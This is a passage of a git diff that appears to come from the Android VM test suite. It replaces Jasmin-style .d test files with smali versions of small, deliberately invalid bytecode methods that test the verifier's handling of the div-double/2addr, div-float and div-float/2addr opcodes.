diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d
deleted file mode 100644
index 5921ceb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_2.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       const v0, 3.1415
-       div-double/2addr v0, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali
new file mode 100644
index 0000000..e65b95d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_2;
+.super Ljava/lang/Object;
+.source "T_div_double_2addr_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 14
+
+    const v0, 0x40490e56    # 3.1415f
+
+    div-double/2addr v0, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d
deleted file mode 100644
index 840ea8b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_3.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DJ)D
-.limit regs 14
-
-       div-double/2addr v10, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali
new file mode 100644
index 0000000..b7f5773
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DJ)D
+.registers 14
+
+       div-double/2addr v10, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d
deleted file mode 100644
index 5cee125..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_4.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v9, v12
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali
new file mode 100644
index 0000000..09aa780
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v9, v12
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d
deleted file mode 100644
index 2ef12c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_5.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 14
-
-       div-double/2addr v10, v14
-       return-wide v10
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali
new file mode 100644
index 0000000..e800943
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       div-double/2addr v10, v14
+       return-wide v10
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d
deleted file mode 100644
index 05fc08e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_double_2addr_6.java
-.class public dot.junit.opcodes.div_double_2addr.d.T_div_double_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 14
-       move v0, v12
-       move v1, v12
-       move v2, v13
-       move v3, v13
-       div-double/2addr v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali
new file mode 100644
index 0000000..6745394
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/div_double_2addr/d/T_div_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 14
+       move v0, v12
+       move v1, v12
+       move v2, v13
+       move v3, v13
+       div-double/2addr v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d
deleted file mode 100644
index 5d59692..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_1.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali
new file mode 100644
index 0000000..2981109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_1.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d
deleted file mode 100644
index 4a82c48..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 3.14
-       div-float v0, v0, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali
new file mode 100644
index 0000000..850b337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 3.14
+       div-float v0, v0, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d
deleted file mode 100644
index 9a8b28b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_3.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       const-wide v0, 1234
-       div-float v0, v7, v0
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali
new file mode 100644
index 0000000..3301768
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_3.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       const-wide v0, 1234
+       div-float v0, v7, v0
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d
deleted file mode 100644
index ed7b149..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_4.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-
-       div-float v0, v5, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali
new file mode 100644
index 0000000..eca8232
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_4.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       div-float v0, v5, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d
deleted file mode 100644
index 4602631..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_5.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)F
-.limit regs 8
-       div-float v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali
new file mode 100644
index 0000000..28c9e34
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_5.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 8
+       div-float v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d
deleted file mode 100644
index 4777687..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_6.java
-.class public dot.junit.opcodes.div_float.d.T_div_float_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float v0, v6, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali
new file mode 100644
index 0000000..15b987c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float/d/T_div_float_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_6.java"
+.class  public Ldot/junit/opcodes/div_float/d/T_div_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float v0, v6, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d
deleted file mode 100644
index 93362fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_div_float_2addr_1.java
-.class public dot.junit.opcodes.div_float_2addr.d.T_div_float_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)F
-.limit regs 8
-       div-float/2addr v6, v7
-       return v6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali
new file mode 100644
index 0000000..5b6597d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_div_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+       div-float/2addr v6, v7
+       return v6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d
deleted file mode 100644
index 90ea869..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/div_float_2addr/d/T_div_float_2addr_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
